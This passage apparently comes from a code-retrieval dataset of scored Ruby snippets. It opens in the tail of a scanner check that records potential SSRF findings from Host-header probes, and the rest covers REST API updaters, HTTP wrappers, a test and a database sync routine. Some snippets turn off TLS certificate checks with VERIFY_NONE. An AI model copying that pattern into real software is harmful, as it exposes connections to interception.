SSRF\",\n type: \"vulnerability\",\n description: \"SSRF on #{uri}\",\n severity: 3,\n status: \"potential\",\n details: {\n uri: \"#{generated_uri}\",\n host_header: \"#{payload[:host]}\",\n code: \"#{response.code}\",\n body: \"#{response.body_utf8.sanitize_unicode}\",\n normal_code: \"#{normal.code}\",\n normal_body: \"#{normal.body.sanitize_unicode}\"\n }\n }\n\n if response.code =~ /^3/\n ssrf_issue[:details][:redirect_location] = response[\"location\"]\n end\n\n _create_issue ssrf_issue\n\n else\n\n _log \"FAIL!\"\n if response\n _log \"Code: #{response.code}\"\n _log \"Response same as normal: #{response.body_utf8[0..199] == normal.body[0..199]}\"\n _log \"Response: #{response.body_utf8[0..79]}\"\n else\n _log \"No response!\"\n end\n\n end\n\n end # end payloads\n\n end", "title": "" }, { "docid": "8ef667a34a299a12ac079fc824592524", "score": "0.5140102", "text": "def run_local(cmd)\n system(cmd)\n end", "title": "" }, { "docid": "bcc17b6e4f2d5dbb5f14087b33f8a3df", "score": "0.51385826", "text": "def execute()\n \n error_message=\"\"\n\tresults=\"\"\n @error_handling = @parameters[\"error_handling\"]\n\tapi_username = URI.encode(@info_values[\"api_username\"])\n api_password = @info_values[\"api_password\"]\n api_server = @info_values[\"api_server\"]\n\tquery = \"'Remedy Login ID' = \\\"\"+@parameters[\"login_id\"]+\"\\\"\"\n api_route = \"#{api_server}/arsys/v1/entry/CTM:People?q=\"+URI.encode(query)\n\n\tputs(\"API ROUTE: #{api_route}\") if @debug_logging_enabled\n\n # get access token\n token = get_access_token(api_server, api_username, api_password)\n if token.length == 3 # for example 401 404 500...\n\t if @error_handling == \"Raise Error\"\n\t raise \"HTTP ERROR #{token}\"\n\t\telse \n\t error_message = \"HTTP ERROR #{token}\"\n\t\t results=\"Failed\"\n\t\tend\n\telse\n # format the headers with the token\n \t headers = {:content_type => 'application/json', :authorization => \"AR-JWT \"+token}\n\t puts(format_hash(\"Headers: \", headers)) if @debug_logging_enabled\n\n\t #lookup site information if site is changing\n\t puts \"Site: #{@parameters[\"site\"]}\"\n\t if @parameters[\"site\"] == \"nil\"\n\t\t@field_values[\"Site ID\"] = \"nil\"\n\t\t@field_values[\"Site City\"] = \"nil\"\n\t\t@field_values[\"Site Country\"] = \"nil\"\n\t\t@field_values[\"Site State Province\"] = \"nil\"\n\t\t@field_values[\"Site Street\"] = \"nil\"\n\t\t@field_values[\"Site Zip/Postal Code\"] = \"nil\"\n\t\t@field_values[\"Time Zone\"] = \"nil\"\n\t else\t\n\t if !@parameters[\"site\"].nil?\n\t site_query = \"'Site' = \\\"\"+@parameters[\"site\"]+\"\\\"\"\n site_route = \"#{api_server}/arsys/v1/entry/SIT:Site?q=\"+URI.encode(site_query)\n\t puts(\"SITE ROUTE: #{site_route}\") if @debug_logging_enabled\n\t response = RestClient::Request.new({\n method: :get,\n url: \"#{site_route}\",\n\t headers: headers\n }).execute do |response, request, result|\n puts(\"SITE RESPONSE: #{response.code}\") if @debug_logging_enabled \n\t\t if response.code == 200\n\t\t puts(result.body) if @debug_logging_enabled\n\t\t site_parsed = JSON.parse(response)\n\t puts(\"Site Response: #{response}\") if @debug_logging_enabled\n\t\t if site_parsed[\"entries\"][0].nil?\n\t if @error_handling == \"Raise Error\"\n\t raise \"No Site Record Found for #{@parameters[\"site\"]}\"\n\t\t else \n error_message = \"No Site Record Found for #{@parameters[\"site\"]}\"\n\t\t\t results=\"Failed\"\n\t\t end\n\t else\n\t\t @field_values[\"Site ID\"] = site_parsed[\"entries\"][0][\"values\"][\"Site ID\"] \n\t\t\t @field_values[\"Site City\"] = site_parsed[\"entries\"][0][\"values\"][\"City\"] \n\t\t\t @field_values[\"Site Country\"] = site_parsed[\"entries\"][0][\"values\"][\"Country\"] \n\t\t\t @field_values[\"Site State Province\"] = site_parsed[\"entries\"][0][\"values\"][\"State Province\"] \n\t\t\t @field_values[\"Site Street\"] = site_parsed[\"entries\"][0][\"values\"][\"Street\"] \n\t\t\t @field_values[\"Site Zip/Postal Code\"] = site_parsed[\"entries\"][0][\"values\"][\"Zip/Postal Code\"] \n\t\t\t\t@field_values[\"Time Zone\"] = site_parsed[\"entries\"][0][\"values\"][\"Time Zone\"] \n end\n\t\t else\t\n if @error_handling == \"Raise Error\"\n\t raise result.body\n\t\t else \n\t error_message = \"ERROR #{response.code} while retreiving Site record.\"\n\t\t\t results=\"Failed\"\n\t\t end\n end\n end\n\t end\n\t end\n\t \n # retreive the record by the search query to get the Request ID\n\t requestId=\"\"\n user_reponse = RestClient::Request.new({\n method: :get,\n url: \"#{api_route}\",\n\t headers: headers\n }).execute do |response, request, result|\n results = response.code\n\t puts response.code\n\t if response.code == 200\n puts(result.body) if @debug_logging_enabled\n\t\t user_parsed = JSON.parse(response)\n\t puts(\"Response: #{response}\") if @debug_logging_enabled\n\t\t if user_parsed[\"entries\"][0].nil?\n\t if @error_handling == \"Raise Error\"\n\t raise \"No Record Found for #{@parameters[\"login_id\"]}\"\n\t\t else \n error_message = \"No Record Found for #{@parameters[\"login_id\"]}\"\n\t\t\t results=\"Failed\"\n\t\t end\n\t else\n requestId = user_parsed[\"entries\"][0][\"values\"][\"Person ID\"] \n\t puts(\"Person ID: #{requestId}\") if @debug_logging_enabled\n\t end\n\t else\n\t\t puts(\"ERROR DUMP: #{response.body}\") if @debug_logging_enabled\n if @error_handling == \"Raise Error\"\n\t raise result.body\n\t\t else \n\t error_message = \"ERROR #{response.code} while retreiving record.\"\n\t\t\tresults=\"Failed\"\n\t\t end\n end\n end\n \n\t # if there are no errors, we can use the requestId to update the record\n\t if error_message==\"\"\n\t\n\t @field_values.reject!{|key,value|\n (value.nil? or value.empty?)\n }\n\t\t# walk the field values hash to check for a Null keyword - nil\n @field_values.each_key {|key|\n if (@field_values[key] == \"nil\")\n\t\t @field_values[key] = nil\n end\n }\n\t request = { \"values\" => @field_values}\n\t puts(format_hash(\"Body: \", request)) if @debug_logging_enabled\n\t request = request.to_json\n\t\n\t update_route = \"#{api_server}/arsys/v1/entry/CTM:People/\"+requestId\n\t puts(\"UPDATE ROUTE: #{update_route}\") if @debug_logging_enabled\n\n response = RestClient::Request.new({\n method: :put,\n url: \"#{update_route}\",\n payload: request,\n\t headers: headers\n }).execute do |response, request, result|\n results = response.code\n\t #if sucessful code will be 204 and headers will contain a date and a server value\n\t #if there is an error response.body will contain a json string with messageType, messageText, messageNumber and messageAppendedText all within an array\n\t if response.code == 204\n\t\t results=\"Successful\"\n\t\t else\t\n\t\t puts(\"ERROR DUMP: #{response.body}\") if @debug_logging_enabled\n\t if @error_handling == \"Raise Error\"\n raise \"ERROR: #{response.code} #{JSON.parse(response.body)[0]['messageText']}\"\n\t\t else \n\t error_message = \"ERROR: #{response.code} #{JSON.parse(response.body)[0]['messageText']}\"\n\t\t\t results=\"Failed\"\n\t\t end\n end\n end\n end\n end\n\n # Return the results\n results = <<-RESULTS\n <results>\n\t <result name=\"Handler Error Message\">#{escape(error_message)}</result>\n <result name=\"Result\">#{escape(results)}</result>\n </results>\n RESULTS\n puts(\"Results: \\n#{results}\") if @debug_logging_enabled\n\t return results\n end", "title": "" }, { "docid": "cfbf3fcf889a3a7d8087c0ba2b56fabd", "score": "0.51343745", "text": "def with_api(api, options = {}, &blk)\n server(GrapeApe::Server.new(api: api), options.delete(:port) || 9900, options, &blk)\n end", "title": "" }, { "docid": "fd9d51ce9e97c26d7eb7c626e784958a", "score": "0.51203406", "text": "def test_cmd_appid_run_file\n File.delete(\"app_id_status.json\") if File.exists?(\"app_id_status.json\")\n app = Mu::Command::Cmd_appid.new\n args = Array.new\n args << \"-s\"\n args << \"#{Dir.pwd}/test/data/data_cgi.msl\"\n args << \"-i\"\n args << \"b1-10000,b2\"\n args << \"-p\"\n args << \"1-100:10\"\n app.cmd_run_file args\n assert(File.exists?(\"app_id_status.json\"), \"app_id_status.json file was not created\")\n j = JSON File.read(\"app_id_status.json\")\n status = j[\"status\"]\n assert(status[\"statistics\"][\"summary\"][\"duration\"].to_f >= 10.0, \"expected summary duration > 10, but got #{status[\"statistics\"][\"summary\"][\"duration\"]}\")\n assert(status[\"statistics\"][\"summary\"][\"instances\"][\"executed\"].to_i > 10, \"expected instances executed > 0, but got #{status[\"statistics\"][\"summary\"][\"instances\"][\"executed\"]}\")\n end", "title": "" }, { "docid": "24221e294b54d7f52148e92c57d354bb", "score": "0.51201546", "text": "def perform_execute_request(data = {})\n execute_recipe(version, data)\n end", "title": "" }, { "docid": "18ff3e410556eba2cc58a1bad4c400f0", "score": "0.5118215", "text": "def start\n api = @settings[:api] || {}\n bind = api[:bind] || \"0.0.0.0\"\n port = api[:port] || 4567\n start_http_server(bind, port)\n super\n end", "title": "" }, { "docid": "a8e3448762ea2abaa9ca437fd53b33ba", "score": "0.5115922", "text": "def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end", "title": "" }, { "docid": "b246aad1603d5e089398b7d451ef1eaa", "score": "0.5115647", "text": "def run\n make_request(@path)\n end", "title": "" }, { "docid": "38cfe1205a09121689e60d18fbc9685b", "score": "0.50962955", "text": "def installandlaunch(token, rid, filename , grant_all_permissions )\nuri = URI.parse(\"https://device.pcloudy.com/api/install_app\")\n@toSend = {\n \"token\"=>token, \"rid\"=>rid, \"filename\"=>filename, \"grant_all_permissions\"=>grant_all_permissions\n}.to_json\n\nhttps = Net::HTTP.new(uri.host,uri.port)\nhttps.use_ssl = true\nreq = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})\nreq.body = \"#{@toSend}\"\nres = https.request(req)\nputs \"Response #{res.code} #{res.message}: #{res.body}\"\ninstallresp = JSON.parse(res.body)\noutput = installresp[\"result\"][\"msg\"]\nputs output\nend", "title": "" }, { "docid": "e5df792f4ba2bd220c3650a162a32ac9", "score": "0.50921965", "text": "def dpExecuteAction(host, cmd)\n mc = rpcclient \"deploop\"\n h = Socket.gethostbyname(host)\n mc.identity_filter \"#{h[1][0]}\"\n mc.progress = false\n\n result = mc.execute(:cmd=> cmd)\n\n mc.disconnect\n\n result[0][:data].each do |a|\n puts a\n end\n\n result[0][:data][:exitcode]\n end", "title": "" }, { "docid": "4523a054bf782f4f92da7963ba3dfc4f", "score": "0.50911474", "text": "def call\n uri = URI.parse(ovh_domain)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n request = build_request\n add_headers(request)\n\n response = http.request(request)\n stdout_warn_log \"Made call to API: #{response.body}\"\n stdout_error_log 'Error: Call to API failed' && context.fail! unless response.is_a? Net::HTTPSuccess\n response\n end", "title": "" }, { "docid": "f72b33d2901da5074855c34a97a68dcf", "score": "0.5086698", "text": "def run\n config = YakvdConfig.yakvd_config\n config[:storage] = Kernel.const_get(config[:storage_name])\n\n storage = config[:storage].new(config)\n response_obj = QueryResponse.new(storage)\n query_parser = QueryParser.new(response_obj)\n\n server = TCPServer.new('', 2000)\n loop {\n connection = server.accept\n while true\n header_line = connection.gets \"\\r\\n\"\n p header_line\n #TODO: there must be header_line == '\\r\\n' or header_line == \"\\r\\n\"\n # or header_line.equal?('\\r\\n')\n # but it doesn't work\n if header_line.length == 2\n break\n end\n end\n message = connection.gets \"\\r\\n\"\n p message.strip\n message_hash = JSON.parse(message.strip)\n query_hash = message_hash['query']\n response = query_parser.parse(query_hash)\n req_response = response\n connection.write(req_response)\n connection.close\n }\nend", "title": "" }, { "docid": "7585702f138274154c98294c005086b3", "score": "0.50841874", "text": "def iod_request (api, params)\r\n uri = URI(\"http://api.idolondemand.com/1/api/async/#{api}/v1\")\r\n uri.query = URI.encode_www_form(params)\r\n res = Net::HTTP.get_response(uri, p_addr = $proxy_host, p_port = $proxy_port)\r\n jobid = JSON.parse(res.body)['jobID']\r\n puts \"Post request jobid [#{jobid}]\"\r\n return job_results(jobid)\r\nend", "title": "" }, { "docid": "c73ef1f9d70388a8b81ec760797bcb91", "score": "0.5076322", "text": "def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend", "title": "" }, { "docid": "1aad480c8997f394b6896dc961a7ed18", "score": "0.5074597", "text": "def cmd_run argv\n setup argv\n uuid = @hash['uuid']\n if @hash['boolean'].nil?\n rename = \"\"\n else\n rename = @hash['boolean']\n end\n response = @api.run(uuid, rename)\n msg response\n return response\n end", "title": "" }, { "docid": "37f96d7d3c0dc7fdaa1fc1f5f796367c", "score": "0.5067089", "text": "def run(host, key, user, port)\n xml = build_command(@action, @object, @params, @cookie)\n\n md5_signature = Digest::MD5.hexdigest(\n Digest::MD5.hexdigest(\n xml + key\n ) + key\n )\n\n headers = {\n 'Content-Type' => 'text/xml',\n 'X-Username' => user,\n 'X-Signature' => md5_signature,\n 'Content-Length' => xml.size.to_s\n }\n\n http = Net::HTTP.new(URI.encode(host), port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n #http.ca_file = File.join(File.dirname(__FILE__), \"../..\", \"cacert.pem\")\n res = http.post(URI.encode(\"/\"), xml, headers)\n\n @returned_parameters = parse_response(res.body)\n end", "title": "" }, { "docid": "fecd33dc8436568496ab8c4dbcdc04ad", "score": "0.50622874", "text": "def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end", "title": "" }, { "docid": "5f95771019cd654cc539c31aae4fb232", "score": "0.5045859", "text": "def execute(driver_parameters = nil)\r\n # get space slug from parameters and if not specified there, then from the info value\r\n space_slug = get_param(@parameters, driver_parameters)[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : get_param(@parameters, driver_parameters)[\"space_slug\"]\r\n if @info_values['api_server'].to_s.empty? == false then\r\n if @info_values['api_server'].include?(\"${space}\")\r\n api_server = @info_values['api_server'].gsub(\"${space}\", space_slug).chomp(\"/\")\r\n elsif !space_slug.to_s.empty?\r\n api_server = @info_values['api_server'].chomp(\"/\")+\"/\"+space_slug\r\n else\r\n api_server = @info_values['api_server'].chomp(\"/\")\r\n end\r\n end\r\n\r\n @error_handling = get_param(@parameters, driver_parameters)[\"error_handling\"]\r\n\r\n if @info_values[\"api_username\"].nil? == false then\r\n api_username = URI.encode(@info_values[\"api_username\"])\r\n api_password = @info_values[\"api_password\"]\r\n end\r\n\r\n submission_id = get_param(@parameters, driver_parameters)[\"submission_id\"]\r\n datastore = get_param(@parameters, driver_parameters)[\"datastore\"]\r\n submission_delete = get_param(@parameters, driver_parameters)[\"submission_deletion_timestamp\"]\r\n submission = get_param(@parameters, driver_parameters)[\"submission_json\"]\r\n submissions = get_param(@parameters, driver_parameters)[\"submissions\"]\r\n skip_table_create = get_param(@parameters, driver_parameters)[\"skip_table_create\"].to_s.strip.downcase\r\n \r\n datastore = datastore.to_s.strip.downcase\r\n\r\n error_message = nil\r\n error_backtrace = nil\r\n submission_database_id = nil\r\n submission_update_count = nil\r\n \r\n kapp_slug = nil\r\n form_slug = nil\r\n kapp_table_name = nil\r\n form_table_name = nil\r\n\r\n # Get kapp & form slug / datastore info.\r\n if submission.nil? == false then\r\n puts \"Submission driver_parameters: #{submission.inspect}\" if @enable_debug_logging\r\n kapp_slug = submission['form']['kapp']['slug'] if submission['form'].has_key?('kapp')\r\n form_slug = submission['form']['slug']\r\n elsif submissions.nil? == false then\r\n kapp_slug = submissions.first['form']['kapp']['slug'] if submissions.first['form'].has_key?('kapp')\r\n form_slug = submissions.first['form']['slug']\r\n end\r\n\r\n # Get what the form / kapp db table names will be\r\n if form_slug.nil? == false then\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if datastore != \"yes\" then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n end\r\n\r\n puts \"Submissions drivers_parameters: #{submissions.inspect}\" if @enable_debug_logging\r\n\r\n # If this is a bulk insert...\r\n if submissions.nil? == false then\r\n\r\n puts \"Starting bulk insert of #{submissions.size} submissions...\" if @enable_debug_logging\r\n\r\n submission_field_names = get_param(@parameters, driver_parameters)['field_names']\r\n\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n submissions.each { |submission|\r\n originId = nil\r\n parentId = nil\r\n if (submission['origin'].nil? == false && submission['origin'].has_key?('id')) then\r\n originId = submission['origin']['id']\r\n end\r\n if (submission['parent'].nil? == false && submission['parent'].has_key?('id')) then\r\n parentId = submission['parent']['id']\r\n end\r\n\r\n if kapp_slug.nil? == false then\r\n kapp_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_formSlug\" => form_slug,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n @kapp_fields.each do |field|\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n limited_value = submission['values'][field].nil? ? nil : submission['values'][field][0..@db_column_size_limits[:formField] - 1]\r\n kapp_submission[unlimited_field] = submission['values'][field]\r\n kapp_submission[limited_field] = limited_value\r\n end\r\n\r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n kapp_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n \r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n kapp_values_columns_map = kapp_submission\r\n .map {|k,v|\r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => :value}\r\n kapp_values = kapp_submission\r\n .map {|k,v|\r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n @db[kapp_table_name.to_sym].call(\r\n :insert,\r\n kapp_values,\r\n kapp_values_columns_map\r\n )\r\n end\r\n\r\n form_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n \r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n form_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # value.to_s is necessary for attachment and multi-value answers which are not stored as JSON strings\r\n submission['values'].each { |field,value|\r\n #ternary: if value is nil, use nil - else use the value converted to a string.\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n\r\n form_submission[unlimited_field] = value.nil? ? nil : value.to_s\r\n truncated_value = value.to_s[0,@db_column_size_limits[:formField] - 1]\r\n form_submission[limited_field] = value.nil? ? nil : truncated_value\r\n }\r\n\r\n # {\"c_id\" => value} -> {\"c_id\" => :$c_id, \"c_kappSlug\" => :$c_kappSlug}\r\n form_values_columns_map = form_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n\r\n form_values = form_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n @db[form_table_name.to_sym].call(\r\n :insert,\r\n #{\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n form_values,\r\n form_values_columns_map\r\n )\r\n\r\n }\r\n\r\n end\r\n\r\n #This is NOT a bulk insert...\r\n else\r\n\r\n db_column_size_limits = @db_column_size_limits\r\n kapp_fields = @kapp_fields\r\n submission_id = submission[\"id\"] if submission.nil? == false\r\n\r\n # If this is a deleted submission...\r\n if submission_delete.to_s.strip.size > 1 then\r\n\r\n form_slug = get_param(@parameters, driver_parameters)[\"form_slug\"]\r\n kapp_slug = get_param(@parameters, driver_parameters)[\"kapp_slug\"]\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if (datastore != \"yes\") then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n\r\n ce_submission = {\r\n :c_id => submission_id,\r\n :c_deletedAt => DateTime.parse(submission_delete)\r\n }\r\n\r\n # for both the kapp & form table...\r\n [kapp_table_name.to_s, form_table_name].each do |table_name|\r\n # Skip kapp table if this is a datastore record...\r\n if table_name.strip.empty? == false then\r\n # if the record does *not* exist in the table\r\n if @db[table_name.to_sym].select(:c_id).where(:c_id => submission_id).count == 0 then\r\n @db[table_name.to_sym].insert(ce_submission)\r\n # else, update it.\r\n else\r\n @db[table_name.to_sym].where(\r\n Sequel.lit('\"c_id\" = ?', submission_id\r\n )).update(ce_submission) unless @info_values['ignore_updates']\r\n end\r\n end\r\n end\r\n\r\n # If this is *not* a deleted submission...\r\n else\r\n\r\n #If passed in a submission id by the task engine, retrieve the submission information.\r\n if submission_id.nil? == false then\r\n api_route = \"#{api_server}/app/api/v1/#{datastore == \"yes\" ? \"datastore/\" : \"\"}submissions/#{submission_id}/?include=details,descendents,form,form.details,form.fields.details,type,form.kapp,values\"\r\n puts \"API ROUTE: #{api_route}\" if @enable_debug_logging\r\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\r\n response = resource.get\r\n puts \"Retrieved CE Submission: #{response}\" if @enable_debug_logging\r\n submission = JSON.parse(response)['submission']\r\n submission_values = submission['values']\r\n form_definition = submission['form']\r\n form_slug = submission['form']['slug']\r\n kapp_slug = submission['form'].has_key?('kapp') ? submission['form']['kapp']['slug'] : nil\r\n else\r\n submission_values = submission['values']\r\n form_definition = submission['form']\r\n form_slug = submission['form']['slug']\r\n kapp_slug = submission['form'].has_key?('kapp') ? submission['form']['kapp']['slug'] : nil\r\n end\r\n\r\n # Get table names\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if datastore != \"yes\" then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n\r\n unlimited_column_names_by_field, limited_column_names_by_field = get_column_names(submission_values)\r\n\r\n if skip_table_create != \"yes\" then\r\n generate_column_def_table()\r\n generate_table_def_table()\r\n create_or_update_form_table({\r\n :form_slug => form_slug,\r\n :kapp_slug => kapp_slug,\r\n :submission => submission\r\n })\r\n if datastore != \"yes\" then\r\n generate_kapp_table(\r\n get_kapp_table_name(kapp_slug)\r\n )\r\n end\r\n\r\n insert_table_definition({\r\n :form_slug => form_slug,\r\n :kapp_slug => kapp_slug,\r\n :form_table_name => form_table_name,\r\n :submission => submission,\r\n :form_definition => form_definition\r\n })\r\n end\r\n\r\n originId = nil\r\n parentId = nil\r\n if (submission['origin'].nil? == false && submission['origin'].has_key?('id')) then\r\n originId = submission['origin']['id']\r\n end\r\n if (submission['parent'].nil? == false && submission['parent'].has_key?('id')) then\r\n parentId = submission['parent']['id']\r\n end\r\n\r\n #Kapp general submission DB transaction.\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n\r\n ce_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_formSlug\" => form_slug,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n kapp_fields.each do |field|\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n limited_value = submission['values'][field].nil? ? nil : submission['values'][field][0..db_column_size_limits[:formField] - 1]\r\n ce_submission[unlimited_field] = submission['values'][field]\r\n ce_submission[limited_field] = limited_value\r\n end\r\n\r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n ce_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n submission_values_columns_map = ce_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values = ce_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n # if the record does not exist in the database, insert it.\r\n if datastore != \"yes\" then\r\n if @info_values['first_bulk_load'] || @db[kapp_table_name.to_sym].select(:c_id).where(:c_id => submission[\"id\"]).count == 0 then\r\n @db[kapp_table_name.to_sym].call(\r\n :insert,\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values,\r\n submission_values_columns_map\r\n )\r\n # else, update it.\r\n else\r\n @db[kapp_table_name.to_sym].where(\r\n Sequel.lit('\"c_id\" = ? and \"c_updatedAt\" < ?', submission['id'], ce_submission[:c_updatedAt]\r\n )).call(\r\n :update, \r\n db_submission_values,\r\n submission_values_columns_map\r\n ) unless @info_values['ignore_updates']\r\n end\r\n end\r\n\r\n #end general kapp submission database transaction\r\n end\r\n\r\n puts \"Submission values: (#{submission_values.inspect})\" if @enable_debug_logging\r\n\r\n #Form submission DB transaction.\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n\r\n # Once the table has been created/modified/verified, insert the submission into the table\r\n form_db_submission = {\r\n \"c_id\" => submission[\"id\"],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission[\"closedBy\"],\r\n \"c_coreState\" => submission[\"coreState\"],\r\n \"c_createdBy\" => submission[\"createdBy\"],\r\n \"c_submittedBy\" => submission[\"submittedBy\"],\r\n \"c_updatedBy\" => submission[\"updatedBy\"]\r\n }\r\n\r\n # only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n form_db_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # value.to_s is necessary for attachment and multi-value answers which are not stored as JSON strings\r\n submission_values.each { |field,value|\r\n #ternary: if value is nil, use nil - else use the value converted to a string.\r\n form_db_submission[unlimited_column_names_by_field[field]] = value.nil? ? nil : value.to_s\r\n truncated_value = value.to_s[0,db_column_size_limits[:formField] - 1]\r\n form_db_submission[limited_column_names_by_field[field]] = value.nil? ? nil : truncated_value\r\n }\r\n\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n submission_values_columns_map = form_db_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values = form_db_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n puts \"Upserting the submission #{submission[\"id\"]}\" if @enable_debug_logging\r\n puts \"#{submission[\"id\"]} DB values: #{form_db_submission.inspect}\" if @enable_debug_logging\r\n db_submissions = @db[form_table_name.to_sym]\r\n if @info_values['first_bulk_load'] || db_submissions.select(:c_id).where(:c_id => submission[\"id\"]).count == 0 then\r\n submission_database_id = db_submissions.call(\r\n :insert,\r\n db_submission_values,\r\n submission_values_columns_map\r\n )\r\n puts \"Inserted the submission #{submission[\"id\"]}\" if @enable_debug_logging\r\n else\r\n submission_update_count = db_submissions.where(\r\n Sequel.lit('\"c_id\" = ? and \"c_updatedAt\" < ?', submission['id'], 